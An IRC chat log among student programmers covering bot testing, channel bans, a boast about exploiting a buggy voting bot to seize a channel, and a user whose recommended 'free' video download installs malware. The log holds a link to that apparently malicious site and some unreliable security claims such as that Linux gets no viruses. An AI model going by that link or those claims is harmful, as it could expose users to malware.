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[2015-03-27T14:57:24-0400] <+awe> JacobEdelman: which ones don't build?
[2015-03-27T14:57:42-0400] <+awe> JacobEdelman: awebot is waiting on the PR, mailbot, and one of the awebot plugins (the one for @tell) won't build because of the time crate.
[2015-03-27T15:02:18-0400] <JacobEdelman> oh
[2015-03-27T15:02:20-0400] <JacobEdelman> okay
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[2015-03-27T15:36:33-0400] <z3t> sdamashek
[2015-03-27T15:36:52-0400] <z3t> you assholes banned the Woodson FCPS IP from the TJ channel :l
[2015-03-27T15:36:59-0400] <sdamashek> z3t: I know :P
[2015-03-27T15:37:22-0400] <z3t> not even for a good reason
[2015-03-27T15:37:46-0400] <z3t> "this guy isn't a tj student....ban!
[2015-03-27T15:38:08-0400] <z3t> I guess when arrogant kids get power they like to use it
[2015-03-27T15:39:57-0400] <+awe> z3t: I was banned from the TJ channel for similar reasons.
[2015-03-27T15:40:18-0400] <z3t> Like I come in, "what's up"
[2015-03-27T15:40:23-0400] <z3t> 2 minutes later, ban.
[2015-03-27T15:40:28-0400] <+awe> Yeah, pretty much
[2015-03-27T15:44:03-0400] <JacobEdelman> alokpathy is still on it
[2015-03-27T15:44:11-0400] <JacobEdelman> he has not been banned and he's talked quiet a bit
[2015-03-27T15:44:20-0400] <z3t> tf.
[2015-03-27T15:44:28-0400] <JacobEdelman> the thing is
[2015-03-27T15:44:29-0400] <z3t> I think he convinced them he was a student though
[2015-03-27T15:44:33-0400] <JacobEdelman> when he first joined as apothy
[2015-03-27T15:44:55-0400] <JacobEdelman> someone thought he was an actual tj person whos name was some form  a---- ---pothy
[2015-03-27T15:45:02-0400] <JacobEdelman> so, they still think hes legit
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[2015-03-27T15:45:45-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-27T11:15:22-0400] <+awe> In fact, it's converging to 1 - 1/e
[2015-03-27T11:15:57-0400] <+awe> Oh, my collision_free test is inverted lol
[2015-03-27T11:16:08-0400] <+awe> Okay, there we go.
[2015-03-27T11:16:17-0400] <LittleBobbyTables> aight, nickthename, ping me if you ever answer.
[2015-03-27T11:16:28-0400] <LittleBobbyTables> I'm leaving now for an unspecified amount of time.
[2015-03-27T11:26:11-0400] <+awe> Argh, I really need to figure out 1.3, 1.4, and 2.2.
[2015-03-27T11:26:12-0400] <+awe> http://people.cs.umass.edu/~mcgregor/240S15/hwextra.pdf
[2015-03-27T11:52:49-0400] <+awe> Oh well, I don't feel like continuing to work on it. So, I just submitted it half done since it's extra credit anyway.
[2015-03-27T12:04:37-0400] <JacobEdelman> hmmm... I'm gonna solve those 
[2015-03-27T12:17:09-0400] <JacobEdelman> okay, got 1.3
[2015-03-27T12:17:12-0400] <JacobEdelman> moving on to 1.4
[2015-03-27T12:27:29-0400] <JacobEdelman> done with 1.4
[2015-03-27T12:47:28-0400] <jwoglom> oh, hi nickthename 
[2015-03-27T12:57:01-0400] <grantwu> awe, did you use the
[2015-03-27T12:57:04-0400] <grantwu> KNUTH SHUFFLE
[2015-03-27T12:57:08-0400] <grantwu> *dance moves&
[2015-03-27T12:57:11-0400] <grantwu> *dance moves*
[2015-03-27T12:59:35-0400] <grantwu> Okay I'm going to panic and fail my phone interview now bye
[2015-03-27T13:44:07-0400] <+awe> JacobEdelman: I could submit it with those still, it's not due until 4, but there's other stuff that I wanted to do instead
[2015-03-27T13:51:35-0400] <+awe> JacobEdelman: specifically, the graduate employees union is having an action that I think I'm going to go to.
[2015-03-27T14:01:21-0400] <JacobEdelman> awe: okay
[2015-03-27T14:12:24-0400] <+awe> Hmm, all but three Rust projects build.
[2015-03-27T14:12:40-0400] <+awe> Two of them won't build because of the same upstream issue with the time library.
[2015-03-27T14:12:53-0400] <+awe> The last one won't build because I'm waiting on one of my PRs to Rust.
[2015-03-27T14:31:36-0400] <JacobEdelman> what rust projects?
[2015-03-27T14:57:22-0400] <+awe> JacobEdelman: which ones don't build?
[2015-03-27T14:57:41-0400] <+awe> JacobEdelman: awebot is waiting on the PR, mailbot, and one of the awebot plugins (the one for @tell) won't build because of the time crate.
[2015-03-27T15:02:17-0400] <JacobEdelman> oh
[2015-03-27T15:02:19-0400] <JacobEdelman> okay
[2015-03-27T15:36:33-0400] <z3t> sdamashek
[2015-03-27T15:36:52-0400] <z3t> you assholes banned the Woodson FCPS IP from the TJ channel :l
[2015-03-27T15:36:59-0400] <sdamashek> z3t: I know :P
[2015-03-27T15:37:22-0400] <z3t> not even for a good reason
[2015-03-27T15:37:46-0400] <z3t> "this guy isn't a tj student....ban!
[2015-03-27T15:38:08-0400] <z3t> I guess when arrogant kids get power they like to use it
[2015-03-27T15:39:57-0400] <+awe> z3t: I was banned from the TJ channel for similar reasons.
[2015-03-27T15:40:18-0400] <z3t> Like I come in, "what's up"
[2015-03-27T15:40:23-0400] <z3t> 2 minutes later, ban.
[2015-03-27T15:40:28-0400] <+awe> Yeah, pretty much
[2015-03-27T15:44:03-0400] <JacobEdelman> alokpathy is still on it
[2015-03-27T15:44:11-0400] <JacobEdelman> he has not been banned and he's talked quiet a bit
[2015-03-27T15:44:20-0400] <z3t> tf.
[2015-03-27T15:44:28-0400] <JacobEdelman> the thing is
[2015-03-27T15:44:29-0400] <z3t> I think he convinced them he was a student though
[2015-03-27T15:44:33-0400] <JacobEdelman> when he first joined as apothy
[2015-03-27T15:44:55-0400] <JacobEdelman> someone thought he was an actual tj person whos name was some form  a---- ---pothy
[2015-03-27T15:45:02-0400] <JacobEdelman> so, they still think hes legit
[2015-03-27T15:45:10-0400] <z3t> >.>
[2015-03-27T15:45:16-0400] <JacobEdelman> he didn't even try to impersonate someone, he did it accidentally
[2015-03-27T15:45:34-0400] <z3t> i don't get those kids
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[2015-03-27T15:48:13-0400] <z3t> ah yis
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[2015-03-27T15:48:53-0400] <JacobEdelman> does zbot do anything?
[2015-03-27T15:48:59-0400] <z3t> uh just this
[2015-03-27T15:49:01-0400] <z3t> $zbot rand
[2015-03-27T15:49:01-0400] <zbot> Random float: 0.955407682103
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[2015-03-27T15:49:50-0400] <JacobEdelman> ?rand
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[2015-03-27T15:50:07-0400] <JacobEdelman> ?rand
[2015-03-27T15:50:07-0400] <JacobBot> 4
[2015-03-27T15:50:10-0400] <JacobEdelman> good
[2015-03-27T15:50:13-0400] <JacobEdelman> okay, my bot works
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[2015-03-27T15:51:11-0400] <JacobEdelman> ?rand
[2015-03-27T15:51:11-0400] <JacobBot> 4
[2015-03-27T15:51:21-0400] <JacobEdelman> ?q official ieee random number
[2015-03-27T15:51:21-0400] <JacobBot> https://lmddgtfy.net/?q=official+ieee+random+number
[2015-03-27T15:51:34-0400] <apothy> JacobEdelman: I didn't first join as apothy
[2015-03-27T15:51:42-0400] <apothy> I first joined as alokpathy
[2015-03-27T15:51:52-0400] <JacobEdelman> eoe
[2015-03-27T15:51:54-0400] <JacobEdelman> *wow
[2015-03-27T15:52:04-0400] <apothy> Somebody just suggested I could be Animesh Tripathy and everybody went with it
[2015-03-27T15:52:11-0400] <apothy> Including me :P
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[2015-03-27T15:53:20-0400] <z3t> $zbot flip
[2015-03-27T15:53:20-0400] <zbot> Coin flip: HEADS
[2015-03-27T15:53:32-0400] <JacobEdelman> ?rand
[2015-03-27T15:53:32-0400] <JacobBot> 4
[2015-03-27T15:53:34-0400] <JacobEdelman> ?rand
[2015-03-27T15:53:35-0400] <JacobBot> 4
[2015-03-27T15:53:35-0400] <JacobEdelman> ?rand
[2015-03-27T15:53:35-0400] <JacobBot> 4
[2015-03-27T15:53:39-0400] <z3t> wow
[2015-03-27T15:53:41-0400] <JacobEdelman> good, it works flawlessly
[2015-03-27T15:53:41-0400] <z3t> very random
[2015-03-27T15:53:55-0400] <JacobEdelman> https://www.xkcd.com/221/
[2015-03-27T15:54:21-0400] <z3t> heh
[2015-03-27T15:54:24-0400] <z3t> $zbot flip
[2015-03-27T15:54:24-0400] <zbot> Coin flip: HEADS
[2015-03-27T15:54:26-0400] <z3t> $zbot flip
[2015-03-27T15:54:26-0400] <zbot> Coin flip: HEADS
[2015-03-27T15:54:27-0400] <z3t> $zbot flip
[2015-03-27T15:54:27-0400] <zbot> Coin flip: HEADS
[2015-03-27T15:54:28-0400] <z3t> uh oh
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[2015-03-27T15:56:10-0400] <z3t> $zbot flip
[2015-03-27T15:56:10-0400] <zbot> Coin flip: HEADS
[2015-03-27T15:56:15-0400] <z3t> I'm scared to test it again
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[2015-03-27T15:57:18-0400] <JacobEdelman> $zbot flip
[2015-03-27T15:57:21-0400] <JacobEdelman> oh it quit
[2015-03-27T15:57:22-0400] <JacobEdelman> well
[2015-03-27T15:57:24-0400] <z3t> it's in my channel
[2015-03-27T15:57:29-0400] <JacobEdelman> ?xkcd random
[2015-03-27T15:57:29-0400] <JacobBot>  http://www.ohnorobot.com/index.pl?s=%3Fxkcd+random&Search=Search&comic=56
[2015-03-27T15:57:33-0400] <JacobEdelman> ?xkcd irc
[2015-03-27T15:57:33-0400] <JacobBot>  http://www.ohnorobot.com/index.pl?s=%3Fxkcd+irc&Search=Search&comic=56
[2015-03-27T15:57:44-0400] <JacobEdelman> oh wait, fail
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[2015-03-27T15:58:17-0400] <JacobEdelman> ?xkcd irc
[2015-03-27T15:58:17-0400] <JacobBot>  http://www.ohnorobot.com/index.pl?s=irc&Search=Search&comic=56
[2015-03-27T15:58:45-0400] <JacobEdelman> okay, my bot is now great
[2015-03-27T15:58:49-0400] <z3t> ?xkcd
[2015-03-27T15:58:53-0400] <z3t> ?xkcd t
[2015-03-27T15:58:54-0400] <JacobBot>  http://www.ohnorobot.com/index.pl?s=t&Search=Search&comic=56
[2015-03-27T15:59:07-0400] <JacobEdelman> if any of yall want to know what it can do, just ?help
[2015-03-27T16:00:06-0400] <jwoglom> ?help
[2015-03-27T16:00:06-0400] <JacobBot> There is no helping you. You are a lost cause.
[2015-03-27T16:00:09-0400] <z3t> ¿help
[2015-03-27T16:00:18-0400] <jwoglom> Why thank you, JacobBot.
[2015-03-27T16:00:39-0400] <JacobEdelman> :P
[2015-03-27T16:00:48-0400] <JacobEdelman> ?rand
[2015-03-27T16:00:49-0400] <JacobBot> 4
[2015-03-27T16:00:51-0400] <JacobEdelman> ?random
[2015-03-27T16:00:51-0400] <JacobBot> 4
[2015-03-27T16:01:53-0400] <z3t> ?randomlol
[2015-03-27T16:01:53-0400] <JacobBot> 4
[2015-03-27T16:02:17-0400] <z3t> ?randjacobisabitchanddoesn'tcheckifthereisanythingaftertheinitialcommand
[2015-03-27T16:02:17-0400] <JacobBot> 4
[2015-03-27T16:02:27-0400] <jwoglom> ?helpmeimapetsoninsideamachine
[2015-03-27T16:02:27-0400] <JacobBot> There is no helping you. You are a lost cause.
[2015-03-27T16:02:35-0400] <z3t> ?helpjacobheisabitch
[2015-03-27T16:02:35-0400] <JacobBot> There is no helping you. You are a lost cause.
[2015-03-27T16:02:47-0400] <jwoglom> ?helpmynameisjacobedelman
[2015-03-27T16:02:47-0400] <JacobBot> There is no helping you. You are a lost cause.
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[2015-03-27T16:05:46-0400] <z3t> ?helpjacobisabitchbutmaybehefixedthis
[2015-03-27T16:05:46-0400] <JacobBot> There is no helping you. You are a lost cause. Anyway, you didn't say please.
[2015-03-27T16:05:50-0400] <JacobEdelman> z3t: why do I care if there is anything after it?
[2015-03-27T16:05:53-0400] <JacobEdelman> but fine
[2015-03-27T16:06:03-0400] <z3t> :)
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[2015-03-27T16:06:16-0400] <JacobEdelman> now it just checks for a space after it
[2015-03-27T16:06:25-0400] <JacobEdelman> but I don't care if people give it extra input
[2015-03-27T16:06:26-0400] <JacobEdelman> also
[2015-03-27T16:06:30-0400] <JacobEdelman> ?help
[2015-03-27T16:06:40-0400] <JacobEdelman> oh, yeah... hmmm
[2015-03-27T16:07:14-0400] <z3t> ?idiot
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[2015-03-27T16:07:33-0400] <JacobEdelman> there
[2015-03-27T16:07:35-0400] <JacobEdelman> ?help
[2015-03-27T16:07:35-0400] <JacobBot> There is no helping you. You are a lost cause. Anyway, you didn't say please.
[2015-03-27T16:07:39-0400] <JacobEdelman> ?pleasehelp
[2015-03-27T16:07:39-0400] <JacobBot> Fine. All my commands starts with ?
[2015-03-27T16:07:40-0400] <JacobBot> ?fortune            will tell you your fortune.
[2015-03-27T16:07:40-0400] <JacobBot> ?help               will insult you.
[2015-03-27T16:07:40-0400] <JacobBot> ?latex [input]      will return a latexed version of the input.
[2015-03-27T16:07:40-0400] <JacobBot> ?please             will display this message.
[2015-03-27T16:07:40-0400] <JacobBot> ?random             will return the random number 4.
[2015-03-27T16:07:40-0400] <JacobBot> ?xkcd [query]       will return a link to a search of xkcd comics for the query.
[2015-03-27T16:08:05-0400] <JacobEdelman> darn non monospaced font
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[2015-03-27T16:08:53-0400] <JacobEdelman> ?pleasehelp
[2015-03-27T16:08:53-0400] <JacobBot> Fine. All my commands starts with ?
[2015-03-27T16:08:54-0400] <JacobBot> ?fortune            will tell you your fortune.
[2015-03-27T16:08:54-0400] <JacobBot> ?help                 will insult you.
[2015-03-27T16:08:54-0400] <JacobBot> ?latex [input]      will return a latexed version of the input.
[2015-03-27T16:08:54-0400] <JacobBot> ?please              will display this message.
[2015-03-27T16:08:54-0400] <JacobBot> ?random             will return the random number 4.
[2015-03-27T16:08:54-0400] <JacobBot> ?xkcd [query]     will return a link to a search of xkcd comics for the query.
[2015-03-27T16:08:59-0400] <JacobEdelman> good enough
[2015-03-27T16:09:04-0400] <JacobEdelman> goodbye for now
[2015-03-27T16:09:51-0400] <z3t> ?latex -1
[2015-03-27T16:09:51-0400] <JacobBot> -1
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[2015-03-27T16:10:23-0400] <JacobEdelman> ?latex 2^3*\sum{2*\pi}
[2015-03-27T16:10:24-0400] <JacobBot> 2³*∑2*π
[2015-03-27T16:10:55-0400] <z3t> ?latex 2^pi
[2015-03-27T16:10:56-0400] <JacobBot> 2ᵖi
[2015-03-27T16:10:56-0400] <JacobEdelman> also, ?q
[2015-03-27T16:11:03-0400] <JacobEdelman> z3t: \pi
[2015-03-27T16:11:04-0400] <z3t> latex fail
[2015-03-27T16:11:06-0400] <JacobEdelman> ?q testing
[2015-03-27T16:11:06-0400] <JacobBot> https://lmddgtfy.net/?q=testing
[2015-03-27T16:11:08-0400] <z3t> boo
[2015-03-27T16:11:12-0400] <JacobEdelman> no, z3t, that was you
[2015-03-27T16:11:16-0400] <JacobEdelman> ?latex 2\pi
[2015-03-27T16:11:17-0400] <JacobBot> 2π
[2015-03-27T16:11:19-0400] <JacobEdelman> ?latex 2^\pi
[2015-03-27T16:11:20-0400] <JacobBot> 2π
[2015-03-27T16:11:24-0400] <z3t> latex fail
[2015-03-27T16:11:24-0400] <z3t> boo
[2015-03-27T16:11:29-0400] <JacobEdelman> no, unicode fail
[2015-03-27T16:11:37-0400] <JacobEdelman> unicode can't do superscript pi apparentely
[2015-03-27T16:12:46-0400] <JacobEdelman> z3t: you doing hackbca?
[2015-03-27T16:13:34-0400] <z3t> haven't heard of it before, so probabl not
[2015-03-27T16:13:40-0400] <z3t> ?q hackbca
[2015-03-27T16:13:40-0400] <JacobBot> https://lmddgtfy.net/?q=hackbca
[2015-03-27T16:14:42-0400] <JacobEdelman> ahh, yeah, too late now
[2015-03-27T16:18:41-0400] <JacobEdelman> fwilson: Tamini: why so strict on #tjhsst
[2015-03-27T16:18:51-0400] <JacobEdelman> I go to ask if any tj people are going to hackbca
[2015-03-27T16:19:10-0400] <JacobEdelman> and sdrodge immiedtly asks me if I'm a tj person
[2015-03-27T16:19:14-0400] <JacobEdelman> I'm assuming, to kick me off
[2015-03-27T16:20:10-0400] <JacobEdelman> ubuntor: bob_twinkles : jwoglom ^
[2015-03-27T16:20:33-0400] <jwoglom> Our mods are pretty salty
[2015-03-27T16:20:47-0400] <jwoglom> <sdrodge> I actually did not mean that as "get out"
[2015-03-27T16:20:54-0400] <JacobEdelman> wait, really
[2015-03-27T16:20:54-0400] <JacobEdelman> oh
[2015-03-27T16:21:55-0400] <z3t> heh
[2015-03-27T16:22:03-0400] <z3t> so they must just dislike me and awe
[2015-03-27T16:23:38-0400] <jwoglom> z3t: you were trolling :P
[2015-03-27T16:23:58-0400] <JacobEdelman> z3t is like LittleBobbyTables in that respect
[2015-03-27T16:24:28-0400] <JacobEdelman> although LittleBobbyTables embraces his inner troll while z3t has yet to fully come to terms with it from my observations
[2015-03-27T16:24:40-0400] <z3t> jwoglom I joined on Woodson's IP with a different nick and just said "what's up"
[2015-03-27T16:24:41-0400] <jwoglom> Also I don't remember awe joining #tjhsst?
[2015-03-27T16:24:43-0400] <z3t> and they banned me
[2015-03-27T16:24:52-0400] <JacobEdelman> wow
[2015-03-27T16:24:59-0400] <jwoglom> z3t: when was that?
[2015-03-27T16:25:02-0400] <z3t> awe said a bit ago that he had a similar experience to me
[2015-03-27T16:25:09-0400] <z3t> uh around 9am jwoglom
[2015-03-27T16:25:11-0400] <JacobEdelman> I got banned real fast the first time
[2015-03-27T16:25:14-0400] <JacobEdelman> without any trolling
[2015-03-27T16:25:23-0400] <JacobEdelman> maybe they thought I was somebody else
[2015-03-27T16:25:35-0400] <JacobEdelman> (cough cough z3t)
[2015-03-27T16:25:42-0400] <z3t> heh
[2015-03-27T16:25:49-0400] <z3t> I wasn't even trolling the first time
[2015-03-27T16:26:05-0400] <JacobEdelman> mentioning I ran HSCTF seemed to make them like me
[2015-03-27T16:26:16-0400] <z3t> and then I joined on another IP, get banned for ban evasion by the power abusing sdamashek
[2015-03-27T16:26:28-0400] <jwoglom> It really depends on the active mods at the time
[2015-03-27T16:26:36-0400] <jwoglom> And how they're feeling
[2015-03-27T16:26:36-0400] <z3t> they all seem like assholes
[2015-03-27T16:26:57-0400] <JacobEdelman> wait, sdamashek is not evil
[2015-03-27T16:27:06-0400] <jwoglom> Also JacobEdelman they = one person :P
[2015-03-27T16:27:12-0400] <JacobEdelman> (cough cough, he's here you know)
[2015-03-27T16:27:12-0400] z3t is now known as SdamashekIsEVILLL
[2015-03-27T16:27:14-0400] <JacobEdelman> jwoglom: I know
[2015-03-27T16:27:33-0400] <JacobEdelman> z3t: he's been on pdgn for a while
[2015-03-27T16:27:39-0400] <JacobEdelman> doesn't talk much
[2015-03-27T16:27:42-0400] <SdamashekIsEVILLL> he is also evil
[2015-03-27T16:27:49-0400] <jwoglom> By mods I'm more referring to the alums
[2015-03-27T16:28:03-0400] <JacobEdelman> not as cool as ubuntor, Tamini, or woooooooo-guls
[2015-03-27T16:28:11-0400] <jwoglom> sdamashek is pretty cool, I wouldn't call him evil :P
[2015-03-27T16:28:25-0400] <SdamashekIsEVILLL> b-b-b-b-but he banned me!
[2015-03-27T16:28:44-0400] • JacobEdelman: rolls his eyes
[2015-03-27T16:28:49-0400] <JacobEdelman> what did he ban you for again?
[2015-03-27T16:28:52-0400] <jwoglom> Right before creffett or someone else would have
[2015-03-27T16:28:53-0400] <SdamashekIsEVILLL> Ban evasion
[2015-03-27T16:29:00-0400] <JacobEdelman> and what were you doing at the time?
[2015-03-27T16:29:08-0400] <SdamashekIsEVILLL> I joined as "z33t"
[2015-03-27T16:29:10-0400] <JacobEdelman> evading a ban, thats what
[2015-03-27T16:29:11-0400] <SdamashekIsEVILLL> and got banned
[2015-03-27T16:29:13-0400] <jwoglom> So... You got banned as a result
[2015-03-27T16:29:25-0400] <jwoglom> You *were* ban evading..
[2015-03-27T16:29:31-0400] <SdamashekIsEVILLL> the first time I got banned was for trying to collect data from a survey
[2015-03-27T16:29:37-0400] <JacobEdelman> I remember the good days on pdgn
[2015-03-27T16:29:41-0400] <jwoglom> Ugh not this again
[2015-03-27T16:29:43-0400] <JacobEdelman> when awe implemented a democracy bot
[2015-03-27T16:29:49-0400] <JacobEdelman> who let people vote on proposals
[2015-03-27T16:29:55-0400] <JacobEdelman> *which
[2015-03-27T16:29:58-0400] <SdamashekIsEVILLL> is crefuck alum?
[2015-03-27T16:30:05-0400] <jwoglom> JacobEdelman: lol wasn't that around when I first joined
[2015-03-27T16:30:11-0400] <JacobEdelman> jwoglom: maybe
[2015-03-27T16:30:14-0400] <jwoglom> SdamashekIsEVILLL: yes, as is sdrodge
[2015-03-27T16:30:15-0400] <JacobEdelman> the end result was that
[2015-03-27T16:30:18-0400] <SdamashekIsEVILLL> ah
[2015-03-27T16:30:19-0400] <JacobEdelman> due to an error
[2015-03-27T16:30:20-0400] <SdamashekIsEVILLL> that makes sense.
[2015-03-27T16:30:28-0400] <JacobEdelman> proposals were ridiculously easy to pass
[2015-03-27T16:30:34-0400] <JacobEdelman> so I promoted myself to channell owner
[2015-03-27T16:30:37-0400] <JacobEdelman> kicked awe
[2015-03-27T16:30:38-0400] <jwoglom> "Error"
[2015-03-27T16:30:48-0400] <JacobEdelman> made 3 people my dark lords (ops)
[2015-03-27T16:30:50-0400] <jwoglom> Lol, nice.
[2015-03-27T16:30:55-0400] <JacobEdelman> declared myself the demon king of pdgn
[2015-03-27T16:30:59-0400] <JacobEdelman> and kicked the democracy bot
[2015-03-27T16:31:04-0400] <jwoglom> Can we bring that back
[2015-03-27T16:31:16-0400] <JacobEdelman> it was a good few hours until awe used the server stuff to fix everything
[2015-03-27T16:31:45-0400] <jwoglom> Fix, psh, he obviously made it worse :P
[2015-03-27T16:33:34-0400] <SdamashekIsEVILLL> ugh I want to stop using python for my bot but sslsocket in Java sucks :l
[2015-03-27T16:34:55-0400] <jwoglom> Why do you want to stop using python?
[2015-03-27T16:35:06-0400] <jwoglom> What makes the j-word better?
[2015-03-27T16:37:29-0400] <JacobEdelman> https://www.irccloud.com/pastebin/RvSdV4dP
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[2015-03-27T16:37:52-0400] <JacobEdelman> that is the entire log
[2015-03-27T16:38:07-0400] <JacobEdelman> from when I was ruler to Pidgeys democracy feature till the end
[2015-03-27T16:38:29-0400] <JacobEdelman> it was the best 1 hour and ~9 minutes of my life
[2015-03-27T16:42:31-0400] <JacobEdelman> its beautiful 
[2015-03-27T16:42:33-0400] <SdamashekIsEVILLL> your life must not be that exciting then
[2015-03-27T16:42:40-0400] <JacobEdelman> .... come on
[2015-03-27T16:42:49-0400] <JacobEdelman> I took over and declared myself a demon lord
[2015-03-27T16:42:52-0400] <JacobEdelman> highlight of my life
[2015-03-27T16:45:44-0400] <SdamashekIsEVILLL> anyone use slack? http://slackhq.com/post/114696167740/march-2015-security-incident-and-launch-of-2fa
[2015-03-27T16:51:41-0400] <JacobEdelman> nope
[2015-03-27T16:52:14-0400] <JacobEdelman> awe: I like the look of this: http://www.jneen.net/posts/2015-03-01-tulip-language
[2015-03-27T16:52:17-0400] <JacobEdelman> Hyper: ^
[2015-03-27T16:52:18-0400] <JacobEdelman> :P
[2015-03-27T16:53:56-0400] <Hyper> JacobEdelman: ehh
[2015-03-27T16:54:43-0400] <JacobEdelman> actually
[2015-03-27T16:54:45-0400] <JacobEdelman> ewwwww
[2015-03-27T16:55:00-0400] <JacobEdelman> even I find this disgusting
[2015-03-27T16:55:01-0400] <JacobEdelman> foo > bar - baz
[2015-03-27T16:55:09-0400] <Hyper> yeah there are too many symbols for me
[2015-03-27T16:55:13-0400] <JacobEdelman> is equivlent too (bar(foo))(baz)
[2015-03-27T16:55:28-0400] <JacobEdelman> Hyper: eh, thats not my problem
[2015-03-27T16:55:37-0400] <JacobEdelman> my problem is that now I want to know how to do substraction
[2015-03-27T16:56:34-0400] <sdamashek> JacobEdelman: wait, what?
[2015-03-27T16:56:44-0400] <sdamashek> so it's like piping foo to bar then?
[2015-03-27T17:03:02-0400] <JacobEdelman> yeah
[2015-03-27T17:05:58-0400] <sdamashek> that's interesting
[2015-03-27T17:06:04-0400] <sdamashek> I don't like the - part though
[2015-03-27T17:07:51-0400] <bob_twinkles> should just have flip
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[2015-03-27T17:13:34-0400] <SdamashekIsEVILLL> $zbot flip
[2015-03-27T17:13:34-0400] <zbot> Coin flip: TAILS
[2015-03-27T17:39:02-0400] <SdamashekIsEVILLL> holy shit the mods in ##java on freenode are assholes
[2015-03-27T17:39:07-0400] <SdamashekIsEVILLL> worse than #tjhsst
[2015-03-27T17:39:23-0400] <bob_twinkles> o_O
[2015-03-27T17:39:31-0400] <bob_twinkles> the mods in #haskell aren't even active =P
[2015-03-27T17:39:39-0400] <bob_twinkles> well, they are active, just not with their hats on 
[2015-03-27T17:39:56-0400] <SdamashekIsEVILLL> were having a discussion about IDEs, mod states their opinion, someone counters it, "OFF TOIPC, BAN!"
[2015-03-27T17:40:03-0400] <bob_twinkles> lol
[2015-03-27T17:41:22-0400] <jwoglom> lol, nice.
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[2015-03-27T17:49:23-0400] <JacobEdelman> i give up
[2015-03-27T17:49:33-0400] <JacobEdelman> http://popcorn-time-free.com/ is way better than any other video viewing service
[2015-03-27T17:49:41-0400] <JacobEdelman> and is done by a bunch of random people around the world
[2015-03-27T17:49:43-0400] <JacobEdelman> for no cost
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[2015-03-27T17:55:27-0400] <z3t> JacobEdelman:
[2015-03-27T17:55:34-0400] <z3t> I downloaded that popcorn thing you posted
[2015-03-27T17:55:41-0400] <z3t> and it removed adblock from my chrome
[2015-03-27T17:55:42-0400] <z3t> -_-
[2015-03-27T17:56:41-0400] <bob_twinkles> I installed the Mesa demos package, and now I can't just type 'fire' to open firefox
[2015-03-27T17:56:49-0400] <bob_twinkles> since that completes to one of the demos
[2015-03-27T17:57:42-0400] <JacobEdelman> wiat, really?
[2015-03-27T17:57:51-0400] <JacobEdelman> thats why I use linux
[2015-03-27T17:58:03-0400] <JacobEdelman> z3t: ^
[2015-03-27T17:58:20-0400] <z3t> I mean I have a linux vm always open
[2015-03-27T17:58:20-0400] <JacobEdelman> z3t: I have no idea , but I suggest you scan your computer for viruses now
[2015-03-27T17:58:26-0400] <JacobEdelman> then use it in that
[2015-03-27T17:58:31-0400] <JacobEdelman> linux doesn't get viruses
[2015-03-27T17:58:42-0400] <JacobEdelman> and to be frank I'm a bit surprised it did that to chrome
[2015-03-27T17:58:50-0400] <JacobEdelman> I mean are you sure that was it?
[2015-03-27T17:58:53-0400] <z3t> linux gets rootkits
[2015-03-27T17:58:56-0400] <z3t> yes
[2015-03-27T17:59:04-0400] <z3t> during the installation, it crashed chrome
[2015-03-27T17:59:06-0400] <JacobEdelman> I can't see why they would make a linux version fi they put a virus on it
[2015-03-27T17:59:08-0400] <z3t> every time I opened it it closed
[2015-03-27T17:59:16-0400] <JacobEdelman> well, that is weird
[2015-03-27T17:59:21-0400] <z3t> scanning now...
[2015-03-27T17:59:23-0400] <JacobEdelman> linux doesn't even install
[2015-03-27T17:59:26-0400] <JacobEdelman> its just a binary
[2015-03-27T17:59:30-0400] <JacobEdelman> weird
[2015-03-27T18:00:24-0400] <z3t> if I find anything I'm backtracking this shit
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[2015-03-27T18:02:37-0400] <z3t> yup 2 detected items so far
[2015-03-27T18:02:46-0400] <z3t> and I know it has to be from that because I scanned a few hours ago
[2015-03-27T18:03:12-0400] <bob_twinkles> aaand now we know how they make it free =P
[2015-03-27T18:03:27-0400] <z3t> xD
[2015-03-27T18:03:30-0400] <z3t> probably a BTC miner
[2015-03-27T18:03:53-0400] <z3t> oh for fucks sake
[2015-03-27T18:03:55-0400] <z3t> 19 detected items
[2015-03-27T18:04:14-0400] <z3t> now 35
[2015-03-27T18:04:17-0400] <z3t> JacobEdelman what the fuck
[2015-03-27T18:04:41-0400] <bob_twinkles> or they just sell space to malware authors
[2015-03-27T18:05:21-0400] <z3t> probably some ad injection, which is why adblock was removed
[2015-03-27T18:05:56-0400] <bob_twinkles> nah, it's hard to make money that way
[2015-03-27T18:06:13-0400] <bob_twinkles> since it violates most Terms of Service agreements
[2015-03-27T18:06:20-0400] <z3t> well then explain why it would remove adblock -_-
[2015-03-27T18:06:27-0400] <bob_twinkles> so what you do is you sell space to other suckers who haven't figured that out yet
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[2015-03-27T18:06:52-0400] <bob_twinkles> which to the end users looks no different, but one way you make money and the other way you just get sad
[2015-03-27T18:07:01-0400] <bob_twinkles> (also possibly jailed, that sometimes works too)
[2015-03-27T18:07:27-0400] <z3t> one of the files is "Ask the Gooru.exe"
[2015-03-27T18:07:31-0400] <z3t> tf
[2015-03-27T18:08:28-0400] <z3t> awe can you ban JacobEdelman from posting links
[2015-03-27T18:09:56-0400] <Hyper> awe: this is a perfect reason to write your own ircd
[2015-03-27T18:10:10-0400] <Hyper> so you can block JacobEdelman from posting links *anywhere*
[2015-03-27T18:11:00-0400] <jwoglom> or you could just write a bot that does the same thing? :P
[2015-03-27T18:11:52-0400] <Hyper> jwoglom: bots wouldn't be able to do that
[2015-03-27T18:12:03-0400] <Hyper> they can't retract a message that's been sent, lol
[2015-03-27T18:12:10-0400] <jwoglom> oh, true lol
[2015-03-27T18:12:15-0400] <Hyper> and they can't get messages before they're sent, because they're just clients
[2015-03-27T18:12:28-0400] <jwoglom> yeah i guess you'd have to do it at the irc network level
[2015-03-27T18:12:48-0400] <jwoglom> you could make a fake channel, with everyone in channel represented by a bot
[2015-03-27T18:13:00-0400] <jwoglom> and whenever he posts anything to it, it transfers the message to the real channel
[2015-03-27T18:13:00-0400] <z3t> uh
[2015-03-27T18:13:05-0400] <jwoglom> unless it meets certain criteria
[2015-03-27T18:13:31-0400] <bob_twinkles> that has to be the most indirect and convoluted way to use IRC I've ever heard of
[2015-03-27T18:13:45-0400] <z3t> anyone want the infected exe files?
[2015-03-27T18:13:54-0400] <bob_twinkles> lol windows =P
[2015-03-27T18:14:10-0400] <jwoglom> z3t: set up a windows xp sp2 vm
[2015-03-27T18:14:10-0400] <z3t> imma run them in a fresh vm and watch the traffic...
[2015-03-27T18:14:12-0400] <jwoglom> see what happens :P
[2015-03-27T18:15:33-0400] <jwoglom> bob_twinkles: well, it wouldn't involve messing with ircd at least :P
[2015-03-27T18:15:55-0400] <z3t> now to find a good windows torrent...
